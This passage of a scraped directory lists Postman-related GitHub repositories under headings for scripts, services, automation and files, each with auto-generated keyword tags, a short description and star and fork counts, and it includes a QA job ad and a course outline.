nrocap/POSTMAN
postman scripts, script, scripts 		all useful postman scripts 0 stars 0 watchers 0 forks
praveendvd/showoff_assignment
assignment, script, scripts, test 		This repo contains the the postman test scripts for the assignment 0 stars 0 watchers 0 forks
project-wildfyre/FHIRTesting
collection, including, postman collection, script, scripts 		Collection of scripts including postman collection 0 stars 0 watchers 0 forks
pts-mattdeluco/postman
script, scripts, test, tests 		Postman LCP API requests, scripts, and tests. 0 stars 0 watchers 0 forks
qijia00/Postman_JavaScript_npm_ChaiAssertionLibrary
execution, form, format, information, integration, move, moved, package, pipeline, script, scripts 		Sample Postman scripts I created in JavaScript with Chai Assertion Library. The scripts are also packaged by npm for easy execution and integration to CI/CD pipeline with Jenkins. Authentication information has been removed for privacy reasons. 0 stars 0 watchers 0 forks
r1990v/Postman_LearnAPI
learn, learning, postman scripts, script, scripts 		This repo contains postman scripts for learning purposes. 0 stars 0 watchers 0 forks
rosalexander/oci-postman-prerequests
prerequest, script, scripts, struct, structure 		Prerequest scripts to use the Oracle Cloud Infrastructure REST API in Postman 0 stars 0 watchers 0 forks
saifsahil3/jama-api-automation-tool
automat, automation, newman, operation, operations, script, scripts, tool 		Set of Jama API automation scripts for doing various operations of JAMA. Created using newman/postman 0 stars 0 watchers 0 forks
shahed2137/ACI_postman
related, script, scripts 		ACI related scripts 0 stars 0 watchers 0 forks
SkvarkovskyDCore/TestingDCorePostman
script, scripts, test 		Sets of test scripts from Postman 0 stars 0 watchers 0 forks
sparshi/Postman
script, scripts 		Sample scripts for Postman 0 stars 0 watchers 0 forks
SriharshaKosaraju/postman-test-proj
script, scripts, test 		Testing Postman scripts 0 stars 0 watchers 0 forks
tamilk83/postmanscripts
script, scripts, simulation 		API simulation of Cybercube Apps 0 stars 0 watchers 0 forks
thomasborland/nodejs_postman_site
node, nodejs, script, scripts, site, test, website 		NodeJS website to run POSTMan REST test scripts 0 stars 0 watchers 0 forks
ViBiOh/postman-to-gatling
gatling, script, scripts 		Convert your Postman scripts to Gatling scripts 0 stars 0 watchers 0 forks

services (66 listings) (Back to Top)

SAP-samples/sapbydesign-api-samples
collection, collections, consume, design, enable, enables, sample, samples, service, services, user, users 		A set of Postman collections that enables users to consume SAP Business ByDesign web services. 24 stars 24 watchers 22 forks
EhsanTang/ApiDebug
browser, http, service, services, test, testing 		浏览器API接口调试插件，Chrome接口调试工具，http调试，post调试，post模拟工具，postman，post接口调试，post测试插件-ApiDebug is a browser plug-in for testing RESTful web services. http://api.crap.cn 0 stars 0 watchers 36 forks
Azure-Samples/media-services-v3-rest-postman
collection, media, postman collection, rest, service, services 		The postman collection in this repository contains REST calls to Azure Media Services v3 APIs. 0 stars 0 watchers 11 forks
soumyadip007/Customer-Relationship-Management-Real-time-CURD-Application-using-Spring-Rest-Json-HQL-WebServices
application, import, rest, restful, service, services, spring 		CRUD (Create, Read, Update and Delete) application is the most important application for creating any project. In spring Rest, we have developed this using Jackson,Postman and restful web services. 3 stars 3 watchers 1 forks
eugenesan/postman
interface, service, services 		Upload photos to online services through an intuitive interface 2 stars 2 watchers 0 forks
f5devcentral/f5-cloudserviceeaplab
cloud, example, examples, service, services 		F5 Essential App Protect cloud services - Lab & API examples with Postman 1 stars 1 watchers 2 forks
anandjat05/admin-service-api
admin, coverage, image, instance, instances, pipeline, service, services, stat, test, testing, unit, vulnerability 		Project based on Micro-services, I created REST API's, wrote Junit, testing the coverage, bug smell, vulnerability analysis on Sonarqube and static test analysis using Jococo, Jenkins, Postman and Newman deploy through the CI/CD pipeline in ECS cluster using EC2 instances, Dockerhub, Docker Container/image. 1 stars 1 watchers 1 forks
dailiang18bb/Explorer-Ionic
apps, data, explore, hybrid, mobile, service, services, test, tested 		Explorer – A hybrid mobile apps which help explore the world by using Google Vision and Wikipedia API. Coding in Angular 6, building with Ionic 4 and Cordova. Worked on the REST/Web API to create the services and tested on postman and used in AngularJS $HTTP service calls and bind the data in the card. 1 stars 1 watchers 1 forks
AnilDeshpande/todolistpostmancollection
collection, file, files, import, imported, json, list, service, services, test, todo 		Just contains POSTMAN collection json files which can be imported by the people who want to use this to test the web services 0 stars 0 watchers 3 forks
nsat/spire-api-postman-collection
collection, service, services 		Postman collection for getting started with Spire APIs and services 0 stars 0 watchers 3 forks
marciofso/workshop-spring-boot-mongodb
banco, boot, mongo, mongod, mongodb, service, services, spring, util, utilizando, workshop 		Projeto API Restful, utilizando Spring boot e banco da dados Mongo DB (Web services +NoSQL), o Postman foi utilizado para realizar as requisições de CRUD na aplicação. 1 stars 1 watchers 0 forks
Ajinkyashinde15/EmployeeCRUD-Spring-MVC-Hibernate
constructed, framework, service, services, struct, test, tested 		I have created web services REST API using Spring Web MVC framework with Hibernate technology. Postman used to tested and constructed requests to REST API . 1 stars 1 watchers 0 forks
akshaymittal143/BookAPI-Web-Services
combine, combined, data, development, end to end, express, integration, light, lightweight, powerful, quickly, server, service, services, test, tests, tool, unit, verb, verbs 		Node.js is a simple and powerful tool for back-end development. When combined with express, you can create lightweight, fast, scalable APIs quickly and simply. which will walk through how to stand up a lightweight Express server serving truly RESTful services using Node.js, Mongoose, and MongoDB. We will implement all of the RESTful verbs to get, add, and update data from our service. We will also spend some time working through unit and end to end integration tests for our services. 1 stars 1 watchers 0 forks
cpvariyani/identityserver4-in-net-core-to-secure-public-microservice
client, demonstrate, entity, example, grant, integrate, integrated, microservice, microservices, package, packages, public, sample, secure, server, service, services, test, tested, type, video 		This is a practical example to demonstrate how to secure public microservices in .Net core using Identity server 4. In this video, we have created IdentityServer4, created sample public microservice, integrated that microservice with identity server and last this securing microservice using identity server is tested using postman. A practical example of How to create Identity server in .net core for grant type to client credentials. nuget packages for identity server are 2 IdentityServer4 and IdentityServer4.EntityFramework. and for microservice 1 nuget packages needs to be added Microsoft.AspNetCore.Authentication.JwtBearer 1 stars 1 watchers 0 forks
dikshachauhan008/RestAPIImplementationInSpringBoot
crud, framework, implementation, operation, operations, service, services, test, tested 		REST API implementation In Spring Boot, implemented all the crud operations GET,POST, DELETE, PUT in MVC framework and tested all the services with POSTMAN 1 stars 1 watchers 0 forks
HamidurRahman1/Project--SpringBootRESTfulWebservicesForAirlineReservationSystem
application, in memory, memory, service, services 		A complete in memory Spring Boot RESTful Webservices application 1 stars 1 watchers 0 forks
kjbrazil/urtheplatform-postman-collection
collection, form, platform, service, services 		Postman Collection for getting started with the UrtheCast platform APIs and services. 1 stars 1 watchers 0 forks
marciofso/course-springboot-java-11
boot, course, java, nest, projet, projeto, service, services, spring, springboot, util 		Projeto web services com Spring Boot e JPA / Hibernate, também foram utilizadas neste projeto, as ferramentas Maven, Banco de dados H2, PostgreSQL e Postman, que fui utilizado realizar as requisições de CRUD na aplicação, que está online no endereço abaixo. 1 stars 1 watchers 0 forks
nmjmdr/postman
email, emails, mail, service, services, support 		Sends emails reliably (supports failover) using services such as Sendgrid and Mailgun 1 stars 1 watchers 0 forks
VictorDeon/Pigeon
communication, component, components, exchange, framework, media, message, messages, python, service, services, type, types 		Pigeon is a framework developed in python that was made to intermediate the use of RabbitMQ services in a quick and easy way, these services of communication between components / services through different types of context of exchange of messages 1 stars 1 watchers 0 forks
XenuxX/Course-API
course, facilitate, facilitates, integration, list, service, services, spec, tool, webservice, webservices 		This project is based on creating a course api which facilitates adding and removing a list of courses along with topics under respective courses. Technologies used are: Spring Boot, Spring RESTful webservices, Apache Derby db and Postman integration tool. 1 stars 1 watchers 0 forks
ysyesilyurt/potential-playlist
backend, form, list, platform, play, service, services, user, users 		A playlist maintainer SpringBoot backend that aims to serve services to users as a song and playlist platform 1 stars 1 watchers 0 forks
yannickbodin/EIP_Postman_Library
rest, rest web, server, service, services, webservice, webservices 		Library of rest webservices call for EfficientIP SOLIDserver appliances 0 stars 0 watchers 2 forks
ddemott/spring-restful-web-services-crud-example
crud, example, function, functions, html, index, java, projects, rest, restful, service, services, spring, test, tested, to do 		DESCRIPTION: This project represents a base Spring 4 legacy project for Spring MVC / REST services. The REST services are handled / tested by index.html. This is done so you can see an example of how to call all of the CRUD functions from a web page. Most projects do not make the calls from a web page but from POSTMAN or even from a test function which does you no good if you are trying to figure out how to do call from a webpage. Dependencies ------------ Maven 3.1 Java 8 Spring 4 Spring MVC 4 Jackson Databind javax.servlet-api 3.1 0 stars 0 watchers 1 forks
chaithuj/webservices-automation
automat, automation, chai, service, services, webservice, webservices 		Automation web services using postman 0 stars 0 watchers 0 forks
FachrulCH/webservices-test-framework-compare
assured, compare, framework, newman, opinion, personal, rest, script, service, services, test, webservice, webservices 		personal opinion for test framework for web services in PHP, Python, Javascript, and Java. using codeception, postman-newman, robot framework, rest assured 0 stars 0 watchers 0 forks
markande98/RESTful-API
data, database, fetch, list, module, modules, mongo, mongod, mongodb, order, orders, product, service, services 		A RESRful service. A product can be post, update, delete in this api and list of orders can be fetched from the database. I have used mongodb as a database and postman services and a lot of modules in my api. 0 stars 0 watchers 0 forks
SassyData/modularPricing
drive, driven, engine, micro services, service, services, test, testing 		Pricing engines created with API driven micro services in R or Python. Supported by Docker & Postman / Newman testing. 0 stars 0 watchers 0 forks
anoopdangi/First-project
server, service, services, test, testing, tomcat 		first project in web services using tomcat server and postman for testing 0 stars 0 watchers 0 forks
fearless23/Linux-Install-Instructions
docker, install, package, packages, redis, service, services, struct, ubuntu 		How to install various packages, services like docker, redis, postman on linux(ubuntu, kubuntu) 0 stars 0 watchers 0 forks
Prafulkumarbheemanathi/postmanrepo
service, services, test, testing 		creating for testing web services with API 0 stars 0 watchers 0 forks
sharanya-rao/media-services-v3-rest-postman
description, media, rest, script, service, services 		No description available. 0 stars 0 watchers 0 forks
1tallgirl/soap_rest_templates
rest, service, services, soap, template, templates 		Holds Boomerang SOAP and POSTman REST request templates for web services. 0 stars 0 watchers 0 forks
absnaik810/Microservice-architecture-using-Spring-Boot
application, list, service, services 		RESTful ToDo list application using Microservices architecture and Spring Boot 0 stars 0 watchers 0 forks
AkashInkar/API-Services
form, operation, service, services 		This project is developed for the Add,View,Delete,Update the all operation perform to using Postman through the services.. 0 stars 0 watchers 0 forks
akshaymittal143/backend-webservice-using-Node-and-Express
backend, dependencies, service, services, webservice 		This is a project for web services using Node and Express with other dependencies 0 stars 0 watchers 0 forks
ashwinies/learning-program
boot, learn, learning, program, reference, rest, rest service, sample, service, services, spring, spring boot 		sample project on spring boot, rest services using postman on reference Genomes 0 stars 0 watchers 0 forks
BancaSella/PostmanCollectionClient
service, services 		PostmanCollectionClient calls for all the services 0 stars 0 watchers 0 forks
cloudcooksco/custom-Go-CRUD-server-template
cloud, form, function, functional, server, service, services, site, template, typical, website 		This is a custom Go server to handle typical CRUD services ie. website forms. This is a template, and does not come fully assembled with a db. Tested with postman - fully functional as of jan-16-2020 0 stars 0 watchers 0 forks
cpvariyani/identity-server-4-policy-based-authorization-.netcore
admin, auth, authorization, demonstrate, enable, enabled, entity, example, http, https, integrate, integrated, microservice, microservices, public, role, sample, secure, server, server., service, services, spec, test, tested, user, users, video, youtube 		Identity Server 4 Role-based Authorization in .Net Core 2 Microservice, In this video, we have enabled the role based authorization using the Identity server. we have created 2 users admin and user and created the respective policy in microservices. In part 1, we have seen how to secure the public microservice, in this part, we have demonstrated how we can implement role-based authorization in Identity server 4 and .Net core. Creation of Identity Server4 in .Net core to secure public microservices with a practical example is explained here. In the part 1 of video, we have created IdentityServer4, created sample public microservice, integrated that microservice with identity server and last this securing microservice using identity server is tested using postman. Part 1 Create Identity Server 4 in .net core to secure Public microservices https://www.youtube.com/watch?v=LVYEq... Part 2 Identity Server 4 Role Based Authorization in .Net Core 2 Microservice 0 stars 0 watchers 0 forks
cyela/Jersey-Web-services
service, services, test, tested 		This is Restful web service project built using Jersey, Jdbc and tested using postman 0 stars 0 watchers 0 forks
danielxcom/todolist_using_api_and_ajax
actor, ajax, file, helper, list, operation, operations, service, services, syntax, test, tested, todo 		Test-run of ajax syntax, todolist using RESTful web services tested with POSTMAN. Refactored REST operations in Promises + put them in helper file to make modular todos.js. Schema created using MongoDB 0 stars 0 watchers 0 forks
eduardotrzan/renohome
application, home, service, services 		Zipkin tracing application with 2 micro-services 0 stars 0 watchers 0 forks
ekarpovs/mcrsrv-postman
micro services, service, services 		POSTMAN requests for base micro services set 0 stars 0 watchers 0 forks
enahomurphy/micro-recipe
developing, mongo, node, recipe, reusable, service, services, test, usable 		test project for developing highly reusable node/mongo services recipe service 0 stars 0 watchers 0 forks
f5devcentral/cloudserviceeaplab
cloud, example, examples, service, services 		F5 Essential App Protect cloud services - Lab & API examples with Postman 0 stars 0 watchers 0 forks
fabiohenriquebayma/ReplacingPostman
environment, external, organized, place, postman tests, replace, rest, rest service, service, services, test, tests, tool 		A tool to replace CI postman tests in a CI environment. Test are organized by stories. Can test externals rest services. 0 stars 0 watchers 0 forks
Gagandeep2045/Microservices_Postman_Requests
service, services 		0 stars 0 watchers 0 forks
imar26/todo-list-cloud-computing
application, cloud, form, list, operation, operations, service, services, todo 		Developed a TODO application using Rest API, performed CRUD operations and deployed application on AWS and GCP. Also, Leveraged services like EC2, CodeDeploy, S3, DynamoDB, RDS, Route 53, Load Balancer, Lambda, CloudWatch and SNS. 0 stars 0 watchers 0 forks
kjbrazil/planet-platform-postman-collection
collection, form, planet, platform, service, services 		Postman Collection for getting started with the v0 & v1 Planet platform APIs and services. 0 stars 0 watchers 0 forks
lsolier/Postman-Collections-Vehicles-Api
external, service, services, test 		Postman Collections to test Vehicles API and external services that its use 0 stars 0 watchers 0 forks
mateusmanuel/emsbuscatalog-2-postman
catalog, convert, converte, converter, service, services 		Ems-bus services catalog converter for Postman Collection 0 stars 0 watchers 0 forks
mddanishyusuf/postman-chrome-extenshion
application, chrome, data, service, services 		basic application for HTTP services and return JSON data 0 stars 0 watchers 0 forks
mtharrison/hermes
service, services 		Think Postman but for Seneca Microservices 0 stars 0 watchers 0 forks
papiuiulia/BooksAppReactJS-CRUD-basic
application, book, books, move, service, services, tool, user 		I created an application in ReactJS with REST services accomplished in Postman(an online tool). The user can add new books, edit existing ones or remove them. 0 stars 0 watchers 0 forks
patrick-castro/task-manager-api
application, auth, authentication, automat, automate, automated, development, email, explore, import, mail, manager, operation, operations, package, packages, party, server, server., service, services, task, user, web app 		A task manager API that explores important features of a web application, which are CRUD operations, user authentication, automated email transmission and many more with the help of various NPM packages and third party services. In development, Postman was used to make HTTP requests to the server. 0 stars 0 watchers 0 forks
pigsy/rake
client, dynamic, featured, rake, service, services, test 		Rake is a full-featured dynamic RPC client for lets you test your RPC services like Paw or Postman for HTTP APIs. 0 stars 0 watchers 0 forks
pramodkondur/REST-social-app
application, boot, concept, data, database, eclipse, exchange, form, format, media, service, services, social, util, utilizing 		A social media application implementing the RESTful Web Services using JSON exchange format done in Java. The main aim for working on this project was to understand the concept of REST web services. Done in eclipse utilizing Springboot, Hibernate, Postman and uses H2 as database 0 stars 0 watchers 0 forks
quadient/data-services-examples-postman
data, example, examples, service, services 		Examples of using Quadient Data Services using Postman 0 stars 0 watchers 0 forks
rtorond/postman-demo
micro services, service, services 		Postman DEMO with micro services 0 stars 0 watchers 0 forks
soumyadip007/Employee-Relationship-CURD-Application-using-Spring-Boot-Thymeleaf-Hibernate-JPA-MVC
application, boot, hibernate, import, rest, restful, service, services, spring 		CRUD (Create, Read, Update and Delete) application is the most important application for creating any project. In spring Rest, we have developed this using Jackson,Postman and restful web services and along with this we have used Spring-boot ,JPA, Spring-Data-Rest and hibernate. 0 stars 0 watchers 0 forks
switbe/postman-newman-api-test
example, integration, newman, service, services, test, verify 		An example how to use Postman to verify web services with Jenkins integration. 0 stars 0 watchers 0 forks
vandana28/Microservices-quick-start
connection, experiment, http, service, services 		experimented with various http requests and validated the connections using Postman 0 stars 0 watchers 0 forks
Vinodh-thimmisetty/Spring-webservices
compare, form, framework, frameworks, performance, service, services, webservice, webservices 		Spring based Restful API to compare the performance of Hibernate and MyBatis frameworks based on response time(POSTMAN). 0 stars 0 watchers 0 forks
WairaSofiaO/ci_webservices
consume, service, services, webservice, webservices 		Proyecto de php con el framwork Codeignater que consume datos de una web services, se puede verificar con Postman 0 stars 0 watchers 0 forks
yadunandankushwaha/Yii-User-Crud-Architecture-Webservices
collection, postman collection, service, services 		Crud - Yii - Webservices - postman collection 0 stars 0 watchers 0 forks

automation (65 listings) (Back to Top)

vmware/vsphere-automation-sdk-rest
automat, automation, document, documentation, reference, rest, sample, samples, vmware, vsphere 		REST (Postman and JavaScript) samples and API reference documentation for vSphere using the VMware REST API 0 stars 0 watchers 89 forks
flyworker/python-automation-testing
application, applications, automat, automate, automated, automation, python, river, software, test, testing, web app 		Learn about automated software testing with Python, Selenium WebDriver, and API, Postman, focusing on web applications. 0 stars 0 watchers 12 forks
Developer-Autodesk/design.automation.3dsmax-postman-tutorial
automat, automation, design, tutorial 		Design Automation for 3dsMax tutorial with Postman 1 stars 1 watchers 1 forks
Developer-Autodesk/design.automation-postman.collection
automat, automation, collection, design 		Postman collection for Design Automation 0 stars 0 watchers 2 forks
luuizeduardo/postman-api-automation
automat, automation 		API automation with Frisby.js 0 stars 0 watchers 2 forks
flyingeinstein/nimble
analytics, automat, automation, collection, config, configure, controller, data, home, popular 		Arduino IoT multi-sensor for the ESP8266. Supports a number of popular sensors. Simply wire sensors to the ESP8266 and compile this sketch. Use the Http Rest API (Postman collection provided) to configure and control the sensors and direct sensor data to a number of targets such as Influx for analytics or a home automation controller. 1 stars 1 watchers 0 forks
brihulse/api-cd-test-demo
automat, automation, integration, support, test 		Repo to support demo of an API automation test integration using Postman 0 stars 0 watchers 1 forks
CaiqueCoelho/LearningPostmanApiTest
automat, automation, test, tests 		Learning Postman Api tests with Jenkins and Newman for automation tests 0 stars 0 watchers 1 forks
domahidizoltan/playground-newman
automat, automation, newman, play, playground, test 		Playing with Rest API test automation with Postman/Newman 0 stars 0 watchers 1 forks
jameswentworth/PostmanRESTService
automat, automation, test, testing, tests 		Structuring tests for API Web REST Service testing and automation using Java, JS etc. 0 stars 0 watchers 1 forks
luizlohn/neon-api-automation-test
automat, automation, script, test 		Postman + Newman + Javascript 0 stars 0 watchers 1 forks
DanSchon/postman_rest_api_test_automation
automat, automate, automated, automation, collection, end to end, rest, rest api, test 		built an automated end to end rest api test collection 0 stars 0 watchers 1 forks
IsaiaSilva/httparty_pokeapi
automat, automation, http, party, ruby, spec 		API automation with httparty + postman + rspec + ruby gem 0 stars 0 watchers 1 forks
nhipham65/UI_API_Automation_Test
automat, automation, http, https, json, place, placeholder, rest, site 		Complete UI (Katalon) and API (Postman) automation site: UI - http://demo.prestashop.com; API - https://jsonplaceholder.typicode.com/ 0 stars 0 watchers 1 forks
aleksandr-r/API-automation
automat, automation 		Juice Shop with Postman and Newman 0 stars 0 watchers 0 forks
chaithuj/webservices-automation
automat, automation, chai, service, services, webservice, webservices 		Automation web services using postman 0 stars 0 watchers 0 forks
chinu4104/api-docker
automat, automation, docker, test 		Postman-API test automation using docker 0 stars 0 watchers 0 forks
rakuju87/endtoend-automation-demo
actor, automat, automation, test, tests 		Demo on Protractor and Postman tests in CI/CD using Bamboo 0 stars 0 watchers 0 forks
saurabhsaagu/API_automation
automat, automation 		Using Jenkins, Newman and Postman 0 stars 0 watchers 0 forks
arjunsk/postman_api_automation
automat, automation, description, script 		No description available. 0 stars 0 watchers 0 forks
bairagimuduli/api_automation_with_postman
automat, automation, description, script 		No description available. 0 stars 0 watchers 0 forks
baraatia/apiAutomationPostman
automat, automation 		contains api automation project using post man 0 stars 0 watchers 0 forks
bestchanges/postman-backend-testing
automat, automation, backend, test, testing 		Example of how to implement HTTP API automation testing using Postman and Newman 0 stars 0 watchers 0 forks
deepkamal/magento-automations
access, agent, automat, automation, collection, magento, postman collection, script 		script and postman collection for Magento access 0 stars 0 watchers 0 forks
geotracsystems/postman-mapsApiAutomation
automat, automation, maps, system, systems 		Contains Postman Collection for Maps API automation 0 stars 0 watchers 0 forks
Himaz1/HarverExercise
automat, automation, framework, includes, result 		This includes Postman results and REST API automation framework 0 stars 0 watchers 0 forks
jaxxstone/postman-collections
automat, automation, collection, collections, copied, grant, test, testing 		copied from /grantorchard for testing vRA automation 0 stars 0 watchers 0 forks
karthick-git/concourceCI-newman-slack
automat, automatic, automation, continuous, course, framework, image, integrate, integrated, newman, report, reporting, slack, test, testing, tool 		This is an API automation framework built using Postman's Newman CLI (Docker image) integrated with Concourse (a CI tool) for continuous testing and automatic slack reporting feature. 0 stars 0 watchers 0 forks
karthik-cc/LG_automation_postman
automat, automation, description, script 		No description available. 0 stars 0 watchers 0 forks
kevinvandecar/3dsMax-design-automation-postman-tutorial
automat, automation, design, tutorial 		Tutorial for Design Automation API using postman 0 stars 0 watchers 0 forks
loopDelicious/testing-and-automation
automat, automation, test, testing 		Workshop for testing and automation in Postman 0 stars 0 watchers 0 forks
madhank93/automation_using_chromedriver_postman
automat, automation, chrome, chromedriver, drive, river, tool 		Automating chromedriver using API with postman tool 0 stars 0 watchers 0 forks
nicolae-chedea/svc9qapreemp
automat, automation 		repo for Spotify API postman automation 0 stars 0 watchers 0 forks
rajiradhadevi/restaurants-api-automation-postman
automat, automation, description, jira, rest, restaurant, restaurants, script 		No description available. 0 stars 0 watchers 0 forks
RezaAzam/Api-call-testing-automation
automat, automation, docker, newman, running, test, testing 		running with postman, newman , TravisCI with docker 0 stars 0 watchers 0 forks
shanthalarb/PostmanAutomation
automat, automation, test, tests 		This repository has postman automation tests 0 stars 0 watchers 0 forks
TaukSnarkyAgrud/postoffice
automat, automation, office, tool, tools 		handmade tools for optimizing postman automation 0 stars 0 watchers 0 forks
vijaytestautomation/Performance
automat, automation, facts, form, related, test 		Test Artifacts related to JMETER,SOAPUI and POSTMAN 0 stars 0 watchers 0 forks
automationlabs-io/restaurants-api-automation-using-postman-newman
automat, automation, description, newman, rest, restaurant, restaurants, script 		No description available. 0 stars 0 watchers 0 forks
infinit-loop/Automation-Testing-of-Blockchain-Using-Postman
automat, automation, chai, private, test, testing 		starting with automation testing to finally develop private Blockchain. 0 stars 0 watchers 0 forks
josuamanuel/pmat
automat, automation, test, testing 		postman automation testing 0 stars 0 watchers 0 forks
Kushalsolanki1987/automation_postman
automat, automation, description, script 		No description available. 0 stars 0 watchers 0 forks
LamhotJM/automation-api-postman
automat, automation, description, script 		No description available. 0 stars 0 watchers 0 forks
lucasavila/postman_automation
automat, automation, description, script 		No description available. 0 stars 0 watchers 0 forks
mevlude/postman-automation
automat, automation, description, script 		No description available. 0 stars 0 watchers 0 forks
pratik-pato/postman-automation
automat, automation, description, script 		No description available. 0 stars 0 watchers 0 forks
projects-qa/automation-APIs-OpenAPI-Apigee-Docker-Node-JS-Express-Postman-e-Heroku-
automat, automation, projects 		Implementação APIs com Apigee + Node.js + Docker + Heroku 0 stars 0 watchers 0 forks
quantumautomation/PostmanTraining
automat, automation 		Examples of Postman requests 0 stars 0 watchers 0 forks
r9kumar/postman-automation
automat, automation, description, script 		No description available. 0 stars 0 watchers 0 forks
rahultyagi20011978/postman-automation
automat, automation, description, script 		No description available. 0 stars 0 watchers 0 forks
SivaChalla1981/postman-newman-api-automation
automat, automation, description, newman, script 		No description available. 0 stars 0 watchers 0 forks
sravaniimi/IMIbotAPIs
automat, automation 		APIs automation using postman 0 stars 0 watchers 0 forks
suridi/api-automation
automat, automation 		Postman 0 stars 0 watchers 0 forks
sza313/Test_Automation_Newman_API
automat, automation, framework, test, testing 		Test automation framework in Postman / Newman for API testing 0 stars 0 watchers 0 forks
TVoroshilova/QA-automation-programmer
agile, application, automat, automatic, automation, cloud, degree, developing, development, environment, environments, expect, fluent, form, framework, frameworks, function, functional, home, including, integration, level, method, office, performance, process, product, program, public, release, remote, report, seek, skills, software, spec, specification, specifications, stat, system, test, testing, tests, tool, tools, track, tracking, user, writing 		At least 2 years experience in Testing Automation Development using known software testing tools and frameworks as Selenium, Appium, Postman, etc. ∙ Experience with Web, DB (SQL/NoSQL) and API testing – Must. ∙ Experience with working over Linux OS and public cloud environments – Must. ∙ Experience with defect tracking system (as GIT, Jira or VSTS/Azure Dev Ops) – Must. ∙ Experience in working with Docker – Advantage.We are seeking an experienced QA automation programmer that will be leading the testing automation activities for our SaaS product. ∙ The QA automation programmer will be part of an innovative team developing a challenging, cutting edge technology Web application for the e-Commerce world. ∙ Main responsibilities: Develop test plans including functional testing, end user testing, stress, performance, reliability and usability testing. o Evaluate product code according to specifications, report and track bugs and fixes. o Execute automatic tests on the product during development and pre-release stages. o Work closely with R&D and product teams on new features, system integration and performance testing as a part of a startup company stationed in Israel. o Participate in the complete development process using the agile methodology. ∙ Academic degree from a known institution.High level English – very good writing skills, fluent speech.The candidate agrees to work from Trust’s offices and not remotely from home.Salary expectations: Up to 2000 USD (Gross salary) 0 stars 0 watchers 0 forks
walltechuser/postman-automation-api
automat, automation, description, script, user 		No description available. 0 stars 0 watchers 0 forks
williamsucanada/postman
automat, automation 		postman automation 0 stars 0 watchers 0 forks
Anirban-Talukder/POSTMAN
automat, automation, script, scripts 		Having all the automation scripts of POSTMAN 0 stars 0 watchers 0 forks
Ghop11/postmanAutomationAnimalFacts
animal, automat, automation, docs, endpoint, endpoints, facts, github, html, http, https 		API automation for animal facts. https://alexwohlbruck.github.io/cat-facts/docs/endpoints/facts.html 0 stars 0 watchers 0 forks
HepsiCyril/postman-newman-jenkins
automat, automation, jenkins, newman 		Directory for creating API automation using Postman Newman and Jenkins 0 stars 0 watchers 0 forks
karthick-git/Newman-Framework-Node-App
automat, automation, bundle, bundled, dependencies, framework, newman, node 		This repository contains an API automation framework project. It's built with Postman's newman CLI as core. It's bundled with the node dependencies and can be deployed directly in PCF. 0 stars 0 watchers 0 forks
martenvestman/automation-travis
automat, automation, newman, test, tests, travis 		eStore with postman/newman tests 0 stars 0 watchers 0 forks
piokrajewski/postmanTest
automat, automation, jenkins, newman, process, setup, test 		Basic setup of automation test process with jenkins+newman+postman 0 stars 0 watchers 0 forks
saifsahil3/jama-api-automation-tool
automat, automation, newman, operation, operations, script, scripts, tool 		Set of Jama API automation scripts for doing various operations of JAMA. Created using newman/postman 0 stars 0 watchers 0 forks
taralshah007/automationbypostman
automat, automation, example, extension 		This is an example how we can create automation of REST API using postman(Chrome extension) 0 stars 0 watchers 0 forks

files (64 listings) (Back to Top)

SabreDevStudio/postman-collections
collection, collections, demonstrating, file, files, rating 		Postman files demonstrating how to call and use APIs found in the Sabre Dev Studio portfolio. 19 stars 19 watchers 17 forks
UnexpectedEOF/paypal-rest-postman-collections
client, collection, collections, expect, file, files, rest 		A couple of PayPal API collection files for the Postman REST client. 0 stars 0 watchers 18 forks
Inn4ki/chatapp
admin, application, applications, auth, chat, completed, computer, course, debug, debugging, design, designed, engine, file, files, form, format, included, including, lang, language, learn, learned, learning, lesson, logging, middleware, parameter, passing, passport, program, programming, protecting, quality, query, rating, route, router, routes, sets, speed, sync, training, tutorial, user, users, validation, video, web app 		NODE.JS WEB APPS WITH EXPRESS by Wes Higbee In this Node.js Web Apps with Express training course, expert author Wes Higbee will teach you how to create web applications and APIs with Express. This course is designed for users that are already familiar with HTML, CSS, and JavaScript. You will start by learning how to set up a web app, then jump into learning about the Jade view engine. From there, Wes will teach you about CRUD, including how to add the chat room view, respond with JSON, and edit chat rooms. This video tutorial also covers routers, middleware, APIs, and logging and debugging. Finally, you will learn about auth with passport, including passport user validation, protecting admin routes, and query string parameters. Once you have completed this computer based training course, you will have learned how to create web applications and APIs with Express. Working files are included, allowing you to follow along with the author throughout the lessons. About the Publisher Presented in stunning HD quality, the Infinite Skills range of video based training provides a clear and concise way to learn computer applications and programming languages at your own speed. Delivered to your Desktop, iPad ... More about Infinite Skills Table of Contents Setting Up A Web App What You Will Learn 00:03:28 About The Author 00:01:23 Project Setup 00:02:14 Spinning Up Our Server From Scratch 00:05:11 Serving Index.HTML 00:04:32 Serving Bootstrap Assets 00:05:52 Styling Our Site 00:01:16 How To Access Your Working Files 00:01:15 The Jade View Engine Why View Engines? 00:02:10 The Jade View Engine 00:06:32 HTML Tags In Jade 00:02:16 Attributes Classes And Ids In Jade 00:02:06 Serving Up Jade Views 00:04:24 HTML Reuse In Jade 00:06:26 Code In Jade Views 00:02:37 Passing Data To View Rendering 00:02:01 Setting A Default View Engine 00:00:37 String Interpolation In Jade 00:02:30 Generating Tables In Jade 00:03:50 Tabs And Spaces Oh My 00:01:21 Demystifying Jade 00:02:21 Crud Setting The Stage 00:01:01 Add Chat Room View 00:04:21 Post Chat Room Form 00:06:56 Parsing Form Data From The Request Body 00:04:22 Responding With JSON 00:03:20 Admin Chat Rooms Workflow 00:02:21 Named Route Parameters To Delete Rooms 00:05:59 Edit Chat Rooms 00:06:01 Edit Chat Rooms Part - 2 00:02:00 Responding With 404 Not Found 00:01:39 Wrap Up 00:01:23 Routers Extracting An Admin Module 00:04:47 Modular Admin Router 00:04:00 Pluggable Admin Mount Path 00:03:15 Stumbling Block - Relative Redirects 00:02:49 Chaining Routes 00:01:57 Middleware Understanding Routing And Middleware 00:05:45 Adding Custom Logging Middleware 00:02:15 Understanding Next() 00:01:31 Middleware To Fetch Data 00:07:24 Order Matters.Av 00:01:09 Scoping Middleware 00:03:53 What To Do With Errors 00:03:01 Last Thoughts 00:03:19 APIs A Client Side Chat App 00:01:55 Setup The Client Side Chat App 00:03:01 Creating An API 00:05:42 Modules Are Singletons 00:01:50 Postman To Test API 00:01:24 API Get Room Messages 00:05:49 Posting To An API 00:03:37 API To Delete Messages 00:03:15 Parsing JSON In The Request Body 00:03:25 Logging And Debugging Express-Debug 00:03:03 Logging With Morgan 00:01:45 File Access Log With Morgan 00:01:28 Built-In Express Debugging 00:01:57 When Things Go Wrong Throwing An Error In A Route Handler 00:01:39 Errors In Production 00:01:53 Custom Error Handlers 